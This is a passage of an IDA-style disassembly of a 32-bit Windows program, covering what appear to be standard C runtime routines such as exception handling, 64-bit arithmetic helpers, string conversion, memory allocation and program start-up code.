cmp esi, [esp+1Ch+arg_4] jz short loc_420310 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_42030E push 101h mov eax, [ebx+esi*4+8] call sub_42034A call dword ptr [ebx+esi*4+8] loc_42030E: ; CODE XREF: sub_4202B6+44j jmp short loc_4202D3 ; --------------------------------------------------------------------------- loc_420310: ; CODE XREF: sub_4202B6+2Aj ; sub_4202B6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4202B6 endp ; =============== S U B R O U T I N E ======================================= sub_42031E proc near ; CODE XREF: sub_424F1C+57p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset dword_420294 jnz short locret_420340 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_420340 mov eax, 1 locret_420340: ; CODE XREF: sub_42031E+10j ; sub_42031E+1Bj retn sub_42031E endp ; =============== S U B R O U T I N E ======================================= sub_420341 proc near ; CODE XREF: sub_425510+1Ep ; sub_425510+40p push ebx push ecx mov ebx, offset dword_443794 jmp short loc_420354 sub_420341 endp ; =============== S U B R O U T I N E ======================================= sub_42034A proc near ; CODE XREF: sub_4202B6+4Fp ; seg000:00425FF6p push ebx push ecx mov ebx, offset dword_443794 mov ecx, [ebp+8] loc_420354: ; CODE XREF: sub_420341+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_42034A endp ; --------------------------------------------------------------------------- dw 0CCCCh ; =============== S U B R O U T I N E ======================================= sub_420364 proc near ; CODE XREF: sub_40F024+5p ; sub_40F47A+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_420364 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420383 proc near ; CODE XREF: sub_4297E3+3Ap ; sub_42987E+3Ap var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_439450 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call ds:dword_42B1A0 ; RaiseException pop edi pop esi leave retn 8 sub_420383 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4203C0 proc near ; CODE XREF: sub_40F47A+82p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = qword ptr 4 cmp ds:dword_4E2B90, 0 jz sub_4255CA sub esp, 8 stmxcsr [esp+8+var_4] mov eax, [esp+8+var_4] and eax, 1F80h cmp eax, 1F80h jnz short loc_4203F4 fnstcw word ptr [esp+8+var_8] mov ax, word ptr [esp+8+var_8] and ax, 7Fh cmp ax, 7Fh loc_4203F4: ; CODE XREF: sub_4203C0+23j lea esp, [esp+8] jnz sub_4255CA jmp short $+2 movq xmm0, [esp+arg_0] movapd xmm2, oword ptr ds:oword_439480 movapd xmm1, xmm0 movapd xmm7, xmm0 psrlq xmm0, 34h movd eax, xmm0 andpd xmm0, oword ptr ds:oword_4394A0 psubd xmm2, xmm0 psrlq xmm1, xmm2 test eax, 800h jz short loc_420482 cmp eax, 0BFFh jl short loc_4204BA psllq xmm1, xmm2 cmp eax, 0C32h jg short loc_420453 movq [esp+arg_0], xmm1 fld [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_420453: ; CODE XREF: sub_4203C0+86j ; sub_4203C0+E1j ucomisd xmm7, xmm7 jnp short loc_42047D mov edx, 3ECh sub esp, 10h mov [esp+10h+var_4], edx mov edx, esp add edx, 14h mov [esp+10h+var_8], edx mov [esp+10h+var_C], edx mov [esp+10h+var_10], edx call sub_424391 add esp, 10h loc_42047D: ; CODE XREF: sub_4203C0+97j fld [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_420482: ; CODE XREF: sub_4203C0+74j movq xmm0, [esp+arg_0] psllq xmm1, xmm2 movapd xmm3, xmm0 cmppd xmm0, xmm1, 6 cmp eax, 3FFh jl short loc_4204C1 cmp eax, 432h jg short loc_420453 andpd xmm0, oword ptr ds:oword_439470 addsd xmm1, xmm0 movq [esp+arg_0], xmm1 fld [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4204BA: ; CODE XREF: sub_4203C0+7Bj fld ds:dbl_4394B0 retn ; --------------------------------------------------------------------------- loc_4204C1: ; CODE XREF: sub_4203C0+DAj cmppd xmm3, oword ptr ds:oword_439490, 6 andpd xmm3, oword ptr ds:oword_439470 movq [esp+arg_0], xmm3 fld [esp+arg_0] retn sub_4203C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4204DD proc near ; CODE XREF: sub_40F87A+77p ; seg000:00411084p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi xor eax, eax cmp ebx, esi push edi jz loc_4205AE mov edx, [ebp+arg_8] cmp edx, esi jz loc_4205DF cmp ds:dword_4E29A4, esi jnz short loc_42052E cmp edx, esi jbe loc_4205DF loc_42050D: ; CODE XREF: sub_4204DD+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [ebx], si cmp byte ptr [ecx], 0 jz loc_4205DF inc eax inc ebx inc ebx cmp eax, edx jb short loc_42050D jmp loc_4205DF ; --------------------------------------------------------------------------- loc_42052E: ; CODE XREF: sub_4204DD+26j mov edi, [ebp+arg_4] mov esi, ds:dword_42B07C push edx push ebx push 0FFFFFFFFh push edi push 9 push ds:dword_4E29B4 call esi ; MultiByteToWideChar test eax, eax jnz loc_4205DE call ds:dword_42B01C ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_420568 loc_420559: ; CODE XREF: sub_4204DD+B0j ; sub_4204DD+CFj ... mov ds:dword_4E28F4, 2Ah or eax, 0FFFFFFFFh jmp short loc_4205DF ; --------------------------------------------------------------------------- loc_420568: ; CODE XREF: sub_4204DD+7Aj mov eax, [ebp+arg_8] mov [ebp+arg_0], eax mov eax, edi loc_420570: ; CODE XREF: sub_4204DD+B7j mov cl, [eax] dec [ebp+arg_0] test cl, cl jz short loc_420596 mov edx, ds:off_4437D8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_42058F inc eax cmp byte ptr [eax], 0 jz short loc_420559 loc_42058F: ; CODE XREF: sub_4204DD+AAj inc eax cmp [ebp+arg_0], 0 jnz short loc_420570 loc_420596: ; CODE XREF: sub_4204DD+9Aj push [ebp+arg_8] sub eax, edi push ebx push eax push edi push 1 push ds:dword_4E29B4 call esi ; MultiByteToWideChar test eax, eax jnz short loc_4205DF jmp short loc_420559 ; --------------------------------------------------------------------------- loc_4205AE: ; CODE XREF: sub_4204DD+Fj cmp ds:dword_4E29A4, esi jnz short loc_4205C1 push [ebp+arg_4] call sub_41E1C0 pop ecx jmp short loc_4205DF ; --------------------------------------------------------------------------- loc_4205C1: ; CODE XREF: sub_4204DD+D7j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push ds:dword_4E29B4 call ds:dword_42B07C ; MultiByteToWideChar cmp eax, esi jz loc_420559 loc_4205DE: ; CODE XREF: sub_4204DD+6Bj dec eax loc_4205DF: ; CODE XREF: sub_4204DD+1Aj ; sub_4204DD+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4204DD endp ; =============== S U B R O U T I N E ======================================= sub_4205E4 proc near ; CODE XREF: sub_40FA56+1Ep ; sub_40FA56+37p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] imul esi, [esp+8+arg_4] test esi, esi push edi mov ebx, esi jnz short loc_4205F7 inc esi loc_4205F7: ; CODE XREF: sub_4205E4+10j ; sub_4205E4+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_420637 cmp ds:dword_4E2F00, 3 jnz short loc_420622 add esi, 0Fh and esi, 0FFFFFFF0h cmp ebx, ds:dword_4E2EEC ja short loc_420622 push ebx call sub_421967 mov edi, eax test edi, edi pop ecx jnz short loc_42064D loc_420622: ; CODE XREF: sub_4205E4+21j ; sub_4205E4+2Fj push esi push 8 push ds:dword_4E2EFC call ds:dword_42B0E4 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_420659 loc_420637: ; CODE XREF: sub_4205E4+18j cmp ds:dword_4E2964, 0 jz short loc_420659 push esi call sub_421F2F test eax, eax pop ecx jnz short loc_4205F7 jmp short loc_42065B ; --------------------------------------------------------------------------- loc_42064D: ; CODE XREF: sub_4205E4+3Cj push ebx push 0 push edi call sub_41E5F0 add esp, 0Ch loc_420659: ; CODE XREF: sub_4205E4+51j ; sub_4205E4+5Aj mov eax, edi loc_42065B: ; CODE XREF: sub_4205E4+67j pop edi pop esi pop ebx retn sub_4205E4 endp ; =============== S U B R O U T I N E ======================================= sub_42065F proc near ; CODE XREF: sub_40FDC3+100p ; sub_419429+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_42B050 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_42067F call ds:dword_42B01C ; RtlGetLastWin32Error push eax call sub_422C0F pop ecx loc_42067B: ; CODE XREF: sub_42065F+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_42067F: ; CODE XREF: sub_42065F+Dj test al, 1 jz short loc_4206A0 test [esp+arg_4], 2 jz short loc_4206A0 mov ds:dword_4E28F4, 0Dh mov ds:dword_4E28F8, 5 jmp short loc_42067B ; --------------------------------------------------------------------------- loc_4206A0: ; CODE XREF: sub_42065F+22j ; sub_42065F+29j xor eax, eax retn sub_42065F endp ; =============== S U B R O U T I N E ======================================= sub_4206A3 proc near ; CODE XREF: seg000:004111C1p ; seg000:004111E6p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] loc_4206A7: ; CODE XREF: sub_4206A3+Cj mov cx, [eax] inc eax inc eax test cx, cx jnz short loc_4206A7 sub eax, [esp+arg_0] sar eax, 1 dec eax retn sub_4206A3 endp ; --------------------------------------------------------------------------- db 56h, 8Bh, 74h dd 468B0824h, 5783A80Ch, 7C8B7174h, 0FF851424h, 0FF830A74h dd 83057401h, 5F7502FFh, 83EFE083h, 468901FFh, 560D750Ch dd 5040E8h, 24440100h, 0FF335914h, 8D1E856h, 468B0000h dd 59C0840Ch, 0E0830879h, 0C4689FCh, 1A814EBh, 8A81074h dd 0C4F60C74h, 0C7077504h, 2001846h, 0FF570000h, 0FF142474h dd 76E81076h, 3300004Fh, 0CC483C9h, 0FFFF883h, 8B49C195h dd 0C70DEBC1h, 4E28F405h, 1600h, 0FFC88300h, 0CCC35E5Fh dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_420750 proc near ; CODE XREF: sub_415825+19Ap ; sub_4164A9+117p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_420769 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_420769: ; CODE XREF: sub_420750+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_420750 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+8] push ebx push edi mov edi, [ebp+0Ch] imul edi, [ebp+10h] test edi, edi mov [ebp+8], eax mov [ebp-8], edi mov ebx, edi jnz short loc_4207A8 xor eax, eax jmp loc_420873 ; --------------------------------------------------------------------------- loc_4207A8: ; CODE XREF: seg000:0042079Fj push esi mov esi, [ebp+14h] test word ptr [esi+0Ch], 10Ch jz short loc_4207BC mov eax, [esi+18h] mov [ebp-4], eax jmp short loc_4207C3 ; --------------------------------------------------------------------------- loc_4207BC: ; CODE XREF: seg000:004207B2j mov dword ptr [ebp-4], 1000h loc_4207C3: ; CODE XREF: seg000:004207BAj ; seg000:00420869j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_4207F7 mov eax, [esi+4] test eax, eax jz short loc_4207F7 cmp ebx, eax mov edi, ebx jb short loc_4207DD mov edi, eax loc_4207DD: ; CODE XREF: seg000:004207D9j push edi push dword ptr [ebp+8] push dword ptr [esi] call sub_41F400 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+8], edi jmp short loc_420839 ; --------------------------------------------------------------------------- loc_4207F7: ; CODE XREF: seg000:004207CCj ; seg000:004207D3j cmp ebx, [ebp-4] jb short loc_42083E test ecx, ecx jz short loc_42080B push esi call sub_420FC7 test eax, eax pop ecx jnz short loc_420877 loc_42080B: ; CODE XREF: seg000:004207FEj cmp dword ptr [ebp-4], 0 mov edi, ebx jz short loc_42081C xor edx, edx mov eax, ebx div dword ptr [ebp-4] sub edi, edx loc_42081C: ; CODE XREF: seg000:00420811j push edi push dword ptr [ebp+8] push dword ptr [esi+10h] call sub_425882 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_420882 add [ebp+8], eax sub ebx, eax cmp eax, edi jb short loc_420882 loc_420839: ; CODE XREF: seg000:004207F5j mov edi, [ebp-8] jmp short loc_420867 ; --------------------------------------------------------------------------- loc_42083E: ; CODE XREF: seg000:004207FAj mov eax, [ebp+8] movsx eax, byte ptr [eax] push esi push eax call sub_422124 cmp eax, 0FFFFFFFFh pop ecx pop ecx jz short loc_420877 inc dword ptr [ebp+8] mov eax, [esi+18h] dec ebx test eax, eax mov [ebp-4], eax jg short loc_420867 mov dword ptr [ebp-4], 1 loc_420867: ; CODE XREF: seg000:0042083Cj ; seg000:0042085Ej test ebx, ebx jnz loc_4207C3 mov eax, [ebp+10h] loc_420872: ; CODE XREF: seg000:00420880j pop esi loc_420873: ; CODE XREF: seg000:004207A3j pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_420877: ; CODE XREF: seg000:00420809j ; seg000:00420850j mov eax, edi loc_420879: ; CODE XREF: seg000:00420889j sub eax, ebx xor edx, edx div dword ptr [ebp+0Ch] jmp short loc_420872 ; --------------------------------------------------------------------------- loc_420882: ; CODE XREF: seg000:0042082Ej ; seg000:00420837j or dword ptr [esi+0Ch], 20h mov eax, [ebp-8] jmp short loc_420879 ; --------------------------------------------------------------------------- db 0CCh dd 0CCCCCCCCh ; =============== S U B R O U T I N E ======================================= sub_420890 proc near ; CODE XREF: sub_419443+2Cp ; sub_4222C8+654p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4208C1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+4+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+4+arg_8] mov ecx, eax mov eax, esi mul [esp+4+arg_8] add edx, ecx jmp short loc_420908 ; --------------------------------------------------------------------------- loc_4208C1: ; CODE XREF: sub_420890+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4208CF: ; CODE XREF: sub_420890+49j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4208CF div ebx mov esi, eax mul [esp+4+arg_C] mov ecx, eax mov eax, [esp+4+arg_8] mul esi add edx, ecx jb short loc_4208FD cmp edx, [esp+4+arg_4] ja short loc_4208FD jb short loc_420906 cmp eax, [esp+4+arg_0] jbe short loc_420906 loc_4208FD: ; CODE XREF: sub_420890+5Dj ; sub_420890+63j dec esi sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_420906: ; CODE XREF: sub_420890+65j ; sub_420890+6Bj xor ebx, ebx loc_420908: ; CODE XREF: sub_420890+2Fj sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi pop esi retn 10h sub_420890 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_420930 proc near ; CODE XREF: sub_419549+5Fp ; sub_419549+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_420951 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_420951: ; CODE XREF: sub_420930+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_42096D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_42096D: ; CODE XREF: sub_420930+27j or eax, eax jnz short loc_420989 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4209CA ; --------------------------------------------------------------------------- loc_420989: ; CODE XREF: sub_420930+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_420997: ; CODE XREF: sub_420930+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_420997 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4209C5 cmp edx, [esp+0Ch+arg_4] ja short loc_4209C5 jb short loc_4209C6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4209C6 loc_4209C5: ; CODE XREF: sub_420930+85j ; sub_420930+8Bj dec esi loc_4209C6: ; CODE XREF: sub_420930+8Dj ; sub_420930+93j xor edx, edx mov eax, esi loc_4209CA: ; CODE XREF: sub_420930+57j dec edi jnz short loc_4209D4 neg edx neg eax sbb edx, 0 loc_4209D4: ; CODE XREF: sub_420930+9Bj pop ebx pop esi pop edi retn 10h sub_420930 endp ; --------------------------------------------------------------------------- dw 146Ah aHFc db 'h¸”C',0 aS_u db 'è.U',0 align 2 a3IRbdN db '3Û‰]ࡤ)N',0 dword_4209F0 dd 2875C33Bh, 8B08458Bh, 0F1838D0h, 0CB84h, 800A8A00h dd 0A7C61F9h, 7F7AF980h, 20E98005h, 38420A88h, 0E9EA751Ah dd 0B0h, 35FF016Ah, 4E29B4h, 0FF6A5353h, 680875FFh, 200h dd 511FE850h, 0C4830000h, 0E4458920h, 840FC33Bh, 85h, 83FC5D89h dd 0E08303C0h, 0DFCEE8FCh, 6589FFFFh, 89F48BE8h, 10EBDC75h dd 0C340C033h, 0E8E8658Bh, 500Ah, 0F633DB33h, 0FFFC4D83h dd 1675F33Bh, 0E8E475FFh, 0FFFFDB57h, 0C7F08B59h, 1E045h dd 0F33B0000h, 16A3374h, 29B435FFh, 75FF004Eh, 0FF6A56E4h dd 680875FFh, 200h, 29A435FFh, 0AAE8004Eh, 83000050h, 0C08520C4h dd 0FF560B74h, 5E80875h, 59FFFFE4h, 0E05D3959h, 0E8560774h dd 0FFFFD7D9h, 8458B59h, 0E8D0658Dh, 547Bh db 0C3h ; =============== S U B R O U T I N E ======================================= sub_420AD5 proc near ; CODE XREF: sub_41A293+1AFp arg_0 = dword ptr 4 cmp ds:dword_4437B0, 1 jle short loc_420AEC push 4 push [esp+4+arg_0] call sub_422B91 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_420AEC: ; CODE XREF: sub_420AD5+7j mov eax, [esp+arg_0] mov ecx, ds:off_4437D8 movzx eax, byte ptr [ecx+eax*2] and eax, 4 retn sub_420AD5 endp ; =============== S U B R O U T I N E ======================================= sub_420AFE proc near ; CODE XREF: sub_423327+92p ; sub_423327+B6p ... arg_0 = dword ptr 4 cmp ds:dword_4437B0, 1 jle short loc_420B15 push 8 push [esp+4+arg_0] call sub_422B91 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_420B15: ; CODE XREF: sub_420AFE+7j mov eax, [esp+arg_0] mov ecx, ds:off_4437D8 movzx eax, byte ptr [ecx+eax*2] and eax, 8 retn sub_420AFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B27 proc near ; CODE XREF: sub_41ACB2+6p ; seg000:0041B3E7p ... var_8 = byte ptr -8 var_7 = byte ptr -7 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx cmp ds:dword_4E29A4, 0 push ebx mov ebx, [ebp+arg_0] push esi push edi jz loc_420BE8 cmp ds:dword_443A84, 0 jz short loc_420B51 cmp ebx, 7Fh jbe loc_420BE8 loc_420B51: ; CODE XREF: sub_420B27+1Fj xor esi, esi mov edi, 100h inc esi cmp ebx, edi jnb short loc_420B7F cmp ds:dword_4437B0, esi jle short loc_420B70 push esi push ebx call sub_422B91 pop ecx pop ecx jmp short loc_420B7B ; --------------------------------------------------------------------------- loc_420B70: ; CODE XREF: sub_420B27+3Cj mov eax, ds:off_4437D8 movzx eax, byte ptr [eax+ebx*2] and eax, esi loc_420B7B: ; CODE XREF: sub_420B27+47j test eax, eax jz short loc_420BF5 loc_420B7F: ; CODE XREF: sub_420B27+34j mov edx, ds:off_4437D8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420BA3 push 2 mov [ebp+var_4], al mov [ebp+var_3], bl mov [ebp+var_2], 0 pop eax jmp short loc_420BAC ; --------------------------------------------------------------------------- loc_420BA3: ; CODE XREF: sub_420B27+6Bj mov [ebp+var_4], bl mov [ebp+var_3], 0 mov eax, esi loc_420BAC: ; CODE XREF: sub_420B27+7Aj push esi push ds:dword_4E29B4 lea ecx, [ebp+var_8] push 3 push ecx push eax lea eax, [ebp+var_4] push eax push edi push ds:dword_4E29A4 call sub_425B55 add esp, 20h test eax, eax jz short loc_420BF5 cmp eax, esi jnz short loc_420BDB movzx eax, [ebp+var_8] jmp short loc_420BF7 ; --------------------------------------------------------------------------- loc_420BDB: ; CODE XREF: sub_420B27+ACj movzx ecx, [ebp+var_7] xor eax, eax mov ah, [ebp+var_8] or eax, ecx jmp short loc_420BF7 ; --------------------------------------------------------------------------- loc_420BE8: ; CODE XREF: sub_420B27+12j ; sub_420B27+24j cmp ebx, 41h jl short loc_420BF5 cmp ebx, 5Ah lea eax, [ebx+20h] jle short loc_420BF7 loc_420BF5: ; CODE XREF: sub_420B27+56j ; sub_420B27+A8j ... mov eax, ebx loc_420BF7: ; CODE XREF: sub_420B27+B2j ; sub_420B27+BFj ... pop edi pop esi pop ebx leave retn sub_420B27 endp ; --------------------------------------------------------------------------- dd 0CCCCCCCCh ; =============== S U B R O U T I N E ======================================= sub_420C00 proc near ; CODE XREF: sub_41D6C3+3Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_420C21 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_420C71 ; --------------------------------------------------------------------------- loc_420C21: ; CODE XREF: sub_420C00+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_420C2F: ; CODE XREF: sub_420C00+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_420C2F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_420C5A cmp edx, [esp+4+arg_4] ja short loc_420C5A jb short loc_420C62 cmp eax, [esp+4+arg_0] jbe short loc_420C62 loc_420C5A: ; CODE XREF: sub_420C00+4Aj ; sub_420C00+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_420C62: ; CODE XREF: sub_420C00+52j ; sub_420C00+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_420C71: ; CODE XREF: sub_420C00+1Fj pop ebx retn 10h sub_420C00 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_420C80 proc near ; CODE XREF: sub_41D6C3+24p ; sub_41F87E+29p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_420CA2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_420CE3 ; --------------------------------------------------------------------------- loc_420CA2: ; CODE XREF: sub_420C80+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_420CB0: ; CODE XREF: sub_420C80+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_420CB0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_420CDE cmp edx, [esp+8+arg_4] ja short loc_420CDE jb short loc_420CDF cmp eax, [esp+8+arg_0] jbe short loc_420CDF loc_420CDE: ; CODE XREF: sub_420C80+4Ej ; sub_420C80+54j dec esi loc_420CDF: ; CODE XREF: sub_420C80+56j ; sub_420C80+5Cj xor edx, edx mov eax, esi loc_420CE3: ; CODE XREF: sub_420C80+20j pop esi pop ebx retn 10h sub_420C80 endp ; =============== S U B R O U T I N E ======================================= sub_420CE8 proc near ; CODE XREF: start-C31EDp start-C31C7p ... arg_0 = dword ptr 4 cmp ds:dword_4E295C, 1 jnz short loc_420CF6 call sub_4261E0 loc_420CF6: ; CODE XREF: sub_420CE8+7j push [esp+arg_0] call sub_426069 push 0FFh call ds:off_4437C0 pop ecx pop ecx retn sub_420CE8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_420D0D: ; CODE XREF: start+1A2j ; DATA XREF: start+19Do push 60h push offset dword_4394C8 call sub_425F14 mov edi, 94h mov eax, edi call sub_41EA20 mov [ebp-18h], esp mov esi, esp mov [esi], edi push esi call ds:dword_42B064 ; GetVersionExA mov ecx, [esi+10h] mov ds:dword_4E2900, ecx mov eax, [esi+4] mov ds:dword_4E290C, eax mov edx, [esi+8] mov ds:dword_4E2910, edx mov esi, [esi+0Ch] and esi, 7FFFh mov ds:dword_4E2904, esi cmp ecx, 2 jz short loc_420D6D or esi, 8000h mov ds:dword_4E2904, esi loc_420D6D: ; CODE XREF: start-C32A1j shl eax, 8 add eax, edx mov ds:dword_4E2908, eax xor esi, esi push esi mov edi, ds:dword_42B024 call edi ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_420DA8 mov ecx, [eax+3Ch] add ecx, eax cmp dword ptr [ecx], 4550h jnz short loc_420DA8 movzx eax, word ptr [ecx+18h] cmp eax, 10Bh jz short loc_420DC0 cmp eax, 20Bh jz short loc_420DAD loc_420DA8: ; CODE XREF: start-C3279j start-C326Cj ... mov [ebp-1Ch], esi jmp short loc_420DD4 ; --------------------------------------------------------------------------- loc_420DAD: ; CODE XREF: start-C325Aj cmp dword ptr [ecx+84h], 0Eh jbe short loc_420DA8 xor eax, eax cmp [ecx+0F8h], esi jmp short loc_420DCE ; --------------------------------------------------------------------------- loc_420DC0: ; CODE XREF: start-C3261j cmp dword ptr [ecx+74h], 0Eh jbe short loc_420DA8 xor eax, eax cmp [ecx+0E8h], esi loc_420DCE: ; CODE XREF: start-C3242j setnz al mov [ebp-1Ch], eax loc_420DD4: ; CODE XREF: start-C3255j push esi call sub_4210EF pop ecx test eax, eax jnz short loc_420E00 cmp ds:dword_4E295C, 1 jnz short loc_420DED call sub_4261E0 loc_420DED: ; CODE XREF: start-C321Aj push 1Ch call sub_426069 push 0FFh call sub_41F116 pop ecx pop ecx loc_420E00: ; CODE XREF: start-C3223j call sub_423257 mov [ebp-4], esi call sub_42418E test eax, eax jge short loc_420E19 push 1Bh call sub_420CE8 pop ecx loc_420E19: ; CODE XREF: start-C31F1j call ds:dword_42B1A8 ; GetCommandLineA mov ds:dword_4E2F04, eax call sub_4266BC mov ds:dword_4E2954, eax call sub_42661A test eax, eax jge short loc_420E3F push 8 call sub_420CE8 pop ecx loc_420E3F: ; CODE XREF: start-C31CBj call sub_4263E7 test eax, eax jge short loc_420E50 push 9 call sub_420CE8 pop ecx loc_420E50: ; CODE XREF: start-C31BAj push 1 call sub_41F146 pop ecx mov [ebp-28h], eax cmp eax, esi jz short loc_420E66 push 